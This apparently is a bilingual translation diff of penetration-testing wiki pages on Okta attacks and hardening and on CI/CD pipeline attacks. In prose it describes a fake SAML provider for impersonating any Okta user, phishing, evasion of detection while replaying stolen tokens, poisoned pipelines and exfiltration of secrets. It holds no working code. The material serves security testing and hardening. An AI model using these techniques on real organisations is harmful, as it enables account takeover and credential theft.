Tehnika uključuje **implementaciju lažnog SAML provajdera**. Integracijom spoljnog provajdera identiteta (IdP) unutar Okta okvira koristeći privilegovani nalog, napadači mogu **kontrolisati IdP, odobravajući bilo koji zahtev za autentifikaciju po želji**. Proces podrazumeva postavljanje SAML 2.0 IdP u Okta, manipulaciju IdP Single Sign-On URL-om za preusmeravanje putem lokalnog hosts fajla, generisanje samopotpisanog sertifikata i konfiguraciju Okta postavki da se podudaraju sa korisničkim imenom ili email-om. Uspešno izvršavanje ovih koraka omogućava autentifikaciju kao bilo koji Okta korisnik, zaobilazeći potrebu za pojedinačnim korisničkim podacima, značajno povećavajući kontrolu pristupa na potencijalno neprimetan način.
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
### Phishing Okta portala sa Evilgnix
### Phishing Okta Portal with Evilgnix
U [**ovom blog postu**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) objašnjeno je kako pripremiti phishing kampanju protiv Okta portala.
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
### Napad impersonacije kolege
### Colleague Impersonation Attack
**atributi koje svaki korisnik može imati i modifikovati** (kao što su email ili ime) mogu se konfigurisati u Okta. Ako je **aplikacija** **verujuća** kao ID **atribut** koji korisnik može **modifikovati**, moći će da **imituje druge korisnike na toj platformi**.
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
Stoga, ako aplikacija veruje polju **`userName`**, verovatno nećete moći da ga promenite (jer obično ne možete promeniti to polje), ali ako veruje na primer **`primaryEmail`** možda ćete moći da **promenite na email adresu kolege** i imitirati ga (trebaće vam pristup email-u i da prihvatite promenu).
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
Napomena da ova imitacija zavisi od toga kako je svaka aplikacija konfigurisana. Samo one koje veruju polju koje ste modifikovali i prihvataju ažuriranja će biti kompromitovane.\
Stoga, aplikacija treba da ima ovo polje omogućeno ako postoji:
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
Therefore, the app should have this field enabled if it exists:
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
Takođe sam video druge aplikacije koje su bile ranjive, ali nisu imale to polje u Okta postavkama (na kraju, različite aplikacije su konfigurisane različito).
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
Najbolji način da saznate da li možete imitirati nekoga na svakoj aplikaciji bio bi da probate!
The best way to find out if you could impersonate anyone on each app would be to try it!
## Izbegavanje politika detekcije ponašanja <a href="#id-9fde" id="id-9fde"></a>
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
Politike detekcije ponašanja u Okta mogu biti nepoznate dok se ne susretnete s njima, ali **zaobilaženje** njih može se postići **ciljanjem Okta aplikacija direktno**, izbegavajući glavnu Okta kontrolnu tablu. Sa **Okta pristupnim tokenom**, ponovo upotrebite token na **URL-u specifičnom za aplikaciju Okta** umesto na glavnoj stranici za prijavu.
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
Ključne preporuke uključuju:
Key recommendations include:
- **Izbegavajte korišćenje** popularnih anonimnih proxy-a i VPN usluga prilikom ponovnog korišćenja uhvaćenih pristupnih tokena.
- Osigurajte **dosledne korisničke agent stringove** između klijenta i ponovo korišćenih pristupnih tokena.
- **Izbegavajte ponovnu upotrebu** tokena od različitih korisnika sa iste IP adrese.
- Budite oprezni prilikom ponovne upotrebe tokena protiv Okta kontrolne table.
- Ako ste svesni IP adresa kompanije žrtve, **ograničite saobraćaj** na te IP adrese ili njihov opseg, blokirajući sav ostali saobraćaj.
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
- **Refrain from replaying** tokens from different users from the same IP address.
- Exercise caution when replaying tokens against the Okta dashboard.
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
## Okta jačanje
## Okta Hardening
Okta ima mnogo mogućih konfiguracija, na ovoj stranici ćete pronaći kako da ih pregledate kako bi bile što sigurnije:
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
{{#ref}}
okta-hardening.md
{{#endref}}
## Reference
## References
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,72 +6,72 @@
### People
Iz perspektive napadača, ovo je veoma zanimljivo jer ćete moći da vidite **sve registrovane korisnike**, njihove **email** adrese, **grupe** kojima pripadaju, **profile** i čak **uređaje** (mobilne telefone zajedno sa njihovim operativnim sistemima).
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
Za pregled u beloj kutiji proverite da nema više od nekoliko "**Pending user action**" i "**Password reset**".
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
### Groups
Ovde možete pronaći sve kreirane grupe u Okta. Zanimljivo je razumeti različite grupe (set **dozvola**) koje mogu biti dodeljene **korisnicima**.\
Moguće je videti **ljude uključene u grupe** i **aplikacije dodeljene** svakoj grupi.
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
It's possible to see the **people included inside groups** and **apps assigned** to each group.
Naravno, svaka grupa sa imenom **admin** je zanimljiva, posebno grupa **Global Administrators,** proverite članove da saznate ko su najprivilegovaniji članovi.
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
Iz pregleda u beloj kutiji, ne **bi trebalo da bude više od 5 globalnih admina** (bolje je ako ih ima samo 2 ili 3).
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
### Devices
Ovde pronađite **listu svih uređaja** svih korisnika. Takođe možete videti da li je **aktivno upravljano** ili ne.
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
### Profile Editor
Ovde je moguće posmatrati kako se ključne informacije kao što su imena, prezimena, emailovi, korisnička imena... dele između Okta i drugih aplikacija. Ovo je zanimljivo jer ako korisnik može **modifikovati u Okta polje** (kao što je njegovo ime ili email) koje se zatim koristi od strane **spoljne aplikacije** za **identifikaciju** korisnika, insajder bi mogao pokušati da **preuzme druge naloge**.
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
Štaviše, u profilu **`User (default)`** iz Okta možete videti **koja polja** svaki **korisnik** ima i koja su **pisiva** od strane korisnika. Ako ne možete videti admin panel, jednostavno idite na **ažuriranje informacija o profilu** i videćete koja polja možete ažurirati (napomena da za ažuriranje email adrese morate da je verifikujete).
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
### Directory Integrations
Direktorijumi vam omogućavaju da uvezete ljude iz postojećih izvora. Pretpostavljam da ćete ovde videti korisnike uvezene iz drugih direktorijuma.
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
Nisam to video, ali pretpostavljam da je zanimljivo otkriti **druge direktorijume koje Okta koristi za uvoz korisnika** tako da ako **kompromitujete taj direktorijum** mogli biste postaviti neke vrednosti atributa u korisnicima kreiranim u Okta i **možda kompromitovati Okta okruženje**.
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
### Profile Sources
Izvor profila je **aplikacija koja deluje kao izvor istine** za atribute korisničkog profila. Korisnik može biti izvor samo iz jedne aplikacije ili direktorijuma u isto vreme.
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
Nisam to video, pa su sve informacije o bezbednosti i hakovanju u vezi sa ovom opcijom dobrodošle.
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
## Customizations
### Brands
Proverite u **Domains** tabu ovog dela email adrese korišćene za slanje emailova i prilagođeni domen unutar Okta kompanije (što verovatno već znate).
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
Štaviše, u **Setting** tabu, ako ste admin, možete "**Use a custom sign-out page**" i postaviti prilagođeni URL.
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
### SMS
Nema ništa zanimljivo ovde.
Nothing interesting here.
### End-User Dashboard
Ovde možete pronaći konfigurirane aplikacije, ali ćemo videti detalje o njima kasnije u drugom odeljku.
You can find here applications configured, but we will see the details of those later in a different section.
### Other
Zanimljiva podešavanja, ali ništa super zanimljivo iz perspektive bezbednosti.
Interesting setting, but nothing super interesting from a security point of view.
## Applications
### Applications
Ovde možete pronaći sve **konfigurisane aplikacije** i njihove detalje: Ko ima pristup njima, kako je konfigurisano (SAML, OpenID), URL za prijavu, mapiranja između Okta i aplikacije...
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
U **`Sign On`** tabu postoji i polje pod nazivom **`Password reveal`** koje bi omogućilo korisniku da **otkrije svoju lozinku** prilikom provere podešavanja aplikacije. Da biste proverili podešavanja aplikacije iz korisničkog panela, kliknite na 3 tačke:
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
I mogli biste videti još neke detalje o aplikaciji (kao što je funkcija otkrivanja lozinke, ako je omogućena):
And you could see some more details about the app (like the password reveal feature, if it's enabled):
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
@@ -79,121 +79,124 @@ I mogli biste videti još neke detalje o aplikaciji (kao što je funkcija otkriv
### Access Certifications
Koristite Access Certifications za kreiranje revizorskih kampanja kako biste periodično pregledali pristup vaših korisnika resursima i automatski odobrili ili opozvali pristup kada je to potrebno.
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
Nisam to video korišćeno, ali pretpostavljam da je iz odbrambene tačke gledišta to lepa funkcija.
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
## Security
### General
- **Security notification emails**: Sve bi trebalo da budu omogućene.
- **CAPTCHA integration**: Preporučuje se postavljanje barem nevidljivog reCaptche
- **Organization Security**: Sve može biti omogućeno i aktivacione email adrese ne bi trebale dugo trajati (7 dana je u redu)
- **User enumeration prevention**: Obe bi trebale biti omogućene
- Napomena da User Enumeration Prevention ne stupa na snagu ako je bilo koja od sledećih uslova dozvoljena (Pogledajte [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) za više informacija):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Zabeležite i primenite bezbednost na osnovu nivoa pretnje
- **Security notification emails**: All should be enabled.
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
- **User enumeration prevention**: Both should be enabled
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
### HealthInsight
Ovde je moguće pronaći ispravno i **opasno** konfigurisane **postavke**.
Here is possible to find correctly and **dangerous** configured **settings**.
### Authenticators
Ovde možete pronaći sve metode autentifikacije koje korisnik može koristiti: Lozinka, telefon, email, kod, WebAuthn... Klikom na autentifikator lozinke možete videti **politiku lozinke**. Proverite da li je jaka.
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
U **Enrollment** tabu možete videti kako su one koje su obavezne ili opcione:
In the **Enrollment** tab you can see how the ones that are required or optinal:
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
Preporučuje se onemogućavanje telefona. Najjače su verovatno kombinacija lozinke, emaila i WebAuthn.
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
### Authentication policies
Svaka aplikacija ima politiku autentifikacije. Politika autentifikacije proverava da li korisnici koji pokušavaju da se prijave u aplikaciju ispunjavaju određene uslove, i primenjuje zahteve faktora na osnovu tih uslova.
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
Ovde možete pronaći **zahteve za pristup svakoj aplikaciji**. Preporučuje se da se zahteva barem lozinka i još jedna metoda za svaku aplikaciju. Ali ako kao napadač pronađete nešto slabije, možda ćete moći da napadnete to.
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
### Global Session Policy
Ovde možete pronaći politike sesije dodeljene različitim grupama. Na primer:
Here you can find the session policies assigned to different groups. For example:
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
Preporučuje se da se zahteva MFA, ograniči trajanje sesije na nekoliko sati, ne čuvajte kolačiće sesije preko ekstenzija pretraživača i ograničite lokaciju i Identity Provider (ako je to moguće). Na primer, ako svaki korisnik treba da se prijavi iz određene zemlje, mogli biste dozvoliti samo tu lokaciju.
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
### Identity Providers
Identity Providers (IdPs) su usluge koje **upravljaju korisničkim nalozima**. Dodavanje IdP-a u Okta omogućava vašim krajnjim korisnicima da se **samo-registruju** sa vašim prilagođenim aplikacijama prvo autentifikovanjem sa društvenim nalogom ili pametnom karticom.
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
Na stranici Identity Providers, možete dodati društvene prijave (IdPs) i konfigurisati Okta kao provajdera usluga (SP) dodavanjem ulaznog SAML-a. Nakon što dodate IdP-e, možete postaviti pravila usmeravanja da usmerite korisnike ka IdP-u na osnovu konteksta, kao što su lokacija korisnika, uređaj ili email domena.
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
**Ako je bilo koji provajder identiteta konfiguran** iz perspektive napadača i branioca proverite tu konfiguraciju i **da li je izvor zaista pouzdan** jer bi napadač koji ga kompromituje mogao takođe dobiti pristup Okta okruženju.
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
### Delegated Authentication
Delegirana autentifikacija omogućava korisnicima da se prijave u Okta unosom akreditiva za **Active Directory (AD) ili LDAP** server njihove organizacije.
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
Ponovo, proverite ovo, jer bi napadač koji kompromituje AD organizacije mogao biti u mogućnosti da pređe na Okta zahvaljujući ovoj postavci.
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
### Network
Mrežna zona je konfigurisiva granica koju možete koristiti da **dodelite ili ograničite pristup računarima i uređajima** u vašoj organizaciji na osnovu **IP adrese** koja traži pristup. Možete definisati mrežnu zonu tako što ćete odrediti jednu ili više pojedinačnih IP adresa, opsega IP adresa ili geografskih lokacija.
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
Nakon što definišete jednu ili više mrežnih zona, možete **koristiti ih u Global Session Policies**, **politike autentifikacije**, VPN obaveštenja i **pravila usmeravanja**.
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
Iz perspektive napadača zanimljivo je znati koje IP adrese su dozvoljene (i proveriti da li su neke **IP adrese privilegovanije** od drugih). Iz perspektive napadača, ako korisnici treba da pristupaju sa određene IP adrese ili regiona, proverite da li se ova funkcija pravilno koristi.
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
### Device Integrations
- **Endpoint Management**: Upravljanje krajnjim tačkama je uslov koji se može primeniti u politici autentifikacije kako bi se osiguralo da upravljani uređaji imaju pristup aplikaciji.
- Nisam to još video. TODO
- **Notification services**: Nisam to još video. TODO
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- I haven't seen this used yet. TODO
- **Notification services**: I haven't seen this used yet. TODO
### API
Možete kreirati Okta API tokene na ovoj stranici, i videti one koji su **kreirani**, njihove **privilegije**, **vreme isteka** i **Origin URLs**. Napomena da se API tokeni generišu sa dozvolama korisnika koji je kreirao token i važe samo ako je **korisnik** koji ih je kreirao **aktivan**.
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
**Trusted Origins** omogućavaju pristup veb sajtovima koje kontrolišete i kojima verujete da pristupaju vašem Okta okruženju putem Okta API-ja.
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
Ne bi trebalo da bude puno API tokena, jer ako ih ima, napadač bi mogao pokušati da im pristupi i koristi ih.
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
## Workflow
### Automations
Automatizacije vam omogućavaju da kreirate automatske akcije koje se pokreću na osnovu skupa uslova okidača koji se javljaju tokom životnog ciklusa krajnjih korisnika.
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
Na primer, uslov bi mogao biti "Neaktivnost korisnika u Okta" ili "Istek lozinke korisnika u Okta" i akcija bi mogla biti "Pošaljite email korisniku" ili "Promenite stanje životnog ciklusa korisnika u Okta".
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
## Reports
### Reports
Preuzmite logove. Oni su **poslati** na **email adresu** trenutnog naloga.
Download logs. They are **sent** to the **email address** of the current account.
### System Log
Ovde možete pronaći **logove akcija koje su izvršili korisnici** sa puno detalja kao što su prijava u Okta ili u aplikacije putem Okta.
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
### Import Monitoring
Ovo može **uvoziti logove iz drugih platformi** kojima se pristupa putem Okta.
This can **import logs from the other platforms** accessed with Okta.
### Rate limits
Proverite dostignute API limite.
Check the API rate limits reached.
## Settings
### Account
Ovde možete pronaći **opšte informacije** o Okta okruženju, kao što su ime kompanije, adresa, **email kontakt za fakturiranje**, **email tehnički kontakt** i takođe ko bi trebao da prima Okta ažuriranja i koje vrste Okta ažuriranja.
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
### Downloads
Ovde možete preuzeti Okta agente za sinhronizaciju Okta sa drugim tehnologijama.
Here you can download Okta agents to sync Okta with other technologies.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Metodologija
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,105 +6,98 @@
## VCS
VCS означава **Version Control System**, овај систем омогућава програмерима да **управљају својим source code-ом**. Најчешћи је **git** и обично ћете фирме наћи да га користе на једној од следећих **платформи**:
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (они нуде своје VCS платформе)
- Cloud providers (they offer their own VCS platforms)
## CI/CD Pipelines
CI/CD pipelines омогућавају програмерима да **аутоматизују извршавање code-а** у разне сврхе, укључујући build, testing и deploy апликација. Ови аутоматизовани токови рада се **активирају специфичним акцијама**, као што су пушеви у репо (push), pull requests или заказани задаци. Они помажу да се процес од development-а до production-а поједностави.
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
Међутим, ти системи морају да се **извршавају негде** и обично то радију са **повлашћеним credentials-има да би деплојовали code или приступили осетљивим информацијама**.
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
## VCS Pentesting Methodology
> [!NOTE]
> Чак и ако неке VCS платформе дозвољавају креирање pipelines, за овај одељак ћемо анализирати само потенцијалне нападе на контролу source code-а.
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Платформе које чувају source code вашег пројекта садрже осетљиве информације и људи морају бити веома опрезни са дозволама које дају унутар те платформе. Ово су неки уобичајени проблеми на VCS платформама које нападач може злоупотребити:
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
- **Leaks**: Ако ваш code садржи leaks у commit-овима и нападач може приступити repo-у (јер је public или зато што има приступ), може открити leaks.
- **Access**: Ако нападач може да **приступи налогу на VCS платформи** могао би добити **већу видљивост и дозволе**.
- **Register**: Неке платформе ће једноставно дозволити спољним корисницима да креирају налог.
- **SSO**: Неке платформе неће дозволити регистровање корисника, али ће дозволити било коме да уђе са валидним SSO (на пример нападач може користити свој github налог да уђе).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... постоји више врста token-а које корисник може украсти да би на неки начин приступио repo-у.
- **Webhooks**: VCS платформе омогућавају генерисање webhooks. Ако нису **заштићени** са невиђеним secrets нападач их може злоупотребити.
- Ако нема секрета на месту, нападач може злоупотребити webhook треће стране платформе
- Ако је secret у URL-у, исто се дешава и нападач има тај secret
- **Code compromise:** Ако злонамерни актер има неки ниво **write** приступа над репо-овима, могао би покушати да **инјектује злонамерни код**. Да би био успешан можда ће морати да **заобиђе branch protections**. Ове акције се могу извршити са различитим циљевима:
- Компромитовати main branch да **компромитује production**.
- Компромитовати main (или друге brancheve) да **компромитује developer-ске машине** (јер они обично извршавају тестове, terraform или друге ствари из repo-а на својим машинама).
- **Compromise the pipeline** (погледај следећи одељак)
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- **Register**: Some platforms will just allow external users to create an account.
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- Compromise the main branch to **compromise production**.
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- **Compromise the pipeline** (check next section)
## Pipelines Pentesting Methodology
Најчешћи начин да се дефинише pipeline је коришћењем **CI configuration file-а који се налази у repository-ју** који pipeline гради. Тај фајл описује редослед извршених job-ова, услове који утичу на ток и подешавања build окружења.\
Ови фајлови обично имају конзистентно име и формат, на пример — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), и GitHub Actions YAML фајлови смештени под .github/workflows. Када се активира, pipeline job **повлачи code** из изабраног извора (нпр. commit / branch), и **извршава наредбе наведене у CI configuration фајлу** против тог code-а.
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
Дакле, крајњи циљ нападача је на неки начин **компромитовати те configuration фајлове** или **наредбе које они извршавају**.
> [!TIP]
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
### PPE - Poisoned Pipeline Execution
Poisoned Pipeline Execution (PPE) пут експлоатише дозволе у SCM repository-ју да манипулише CI pipeline-ом и изврши штетне наредбе. Корисници са неопходним дозволама могу модификовати CI configuration фајлове или друге фајлове које pipeline job користи да укључе злонамерне наредбе. Ово „поји“ CI pipeline, што доводи до извршавања тих злонамерних наредби.
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
Да би злонамерни актер био успешан у PPE нападу, мора:
For a malicious actor to be successful performing a PPE attack he needs to be able to:
- Имати **write access на VCS платформи**, јер се pipeline-ови обично активирају када се уради push или pull request. (Погледај VCS pentesting methodology за резиме начина добијања приступа).
- Имајте на уму да понекад један **external PR може се сматрати "write access"**.
- Чак и ако има write permission-e, мора бити сигуран да може **модификовати CI config file или друге фајлове на које config зависи**.
- За ово може бити потребно да **заобиђе branch protections**.
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
Постоје 3 PPE варијанте:
There are 3 PPE flavours:
- **D-PPE**: Direct PPE напад се дешава када актер **модификује CI config** фајл који ће бити извршен.
- **I-DDE**: Indirect PPE напад се дешава када актер **модификује** неки **фајл** на који CI config фајл који ће бити извршен **зависи** (нпр. make file или terraform конфигурацију).
- **Public PPE or 3PE**: У неким случајевима pipeline-ови могу бити **активирани од корисника који немају write access у repo-у** (и који можда чак нису ни део организације) јер могу послати PR.
- **3PE Command Injection**: Обично, CI/CD pipeline-ови ће **постављати environment variables** са **информацијама о PR-у**. Ако та вредност може бити контролисана од стране нападача (нпр. title of the PR) и **користи се** на **опасном месту** (нпр. извршавање sh commands), нападач може **инјектовати команде у њега**.
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
### Exploitation Benefits
Познавање 3 варијанте пута да се poisoning pipeline омогућава преглед шта нападач може да добије након успешне експлоатације:
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
- **Secrets**: Као што је поменуто раније, pipeline-ови захтевају **повластице** за своје job-ове (повлачење code-а, build, deploy...) и те повластице су обично **чуване у secrets-има**. Ови secrets су обично приступачни преко **env variables или фајлова у систему**. Стога ће нападач увек покушати да извуче што више secrets-а.
- У зависности од pipeline платформе нападач **можда мора да наведе secrets у config-у**. То значи да ако нападач не може да промени CI configuration pipeline-а (**I-PPE** на пример), он може **само исксфилтровати secrets које тај pipeline има**.
- **Computation**: Code се извршава негде; у зависности где се извршава, нападач може да се помери даље.
- **On-Premises**: Ако се pipeline-ови извршавају on-premises, нападач може завршити у **интерној мрежи са приступом више ресурса**.
- **Cloud**: Нападач може приступити **другим машинама у cloud-у** али такође може **извести** IAM roles/service accounts токене из њега да би добио **даљи приступ у облаку**.
- **Platforms machine**: Понекад job-ови ће се извршавати на **машинама платформе за pipeline-ове**, које обично налазе у cloud-у са **нема додатног приступа**.
- **Select it:** Понекад **pipeline платформа има конфигурисане неколико машина** и ако можете **модификовати CI configuration file** можете **навести где желите да покренете злонамерни code**. У таквој ситуацији, нападач ће вероватно покренути reverse shell на свакој могућој машини да покуша да даље експлоатише.
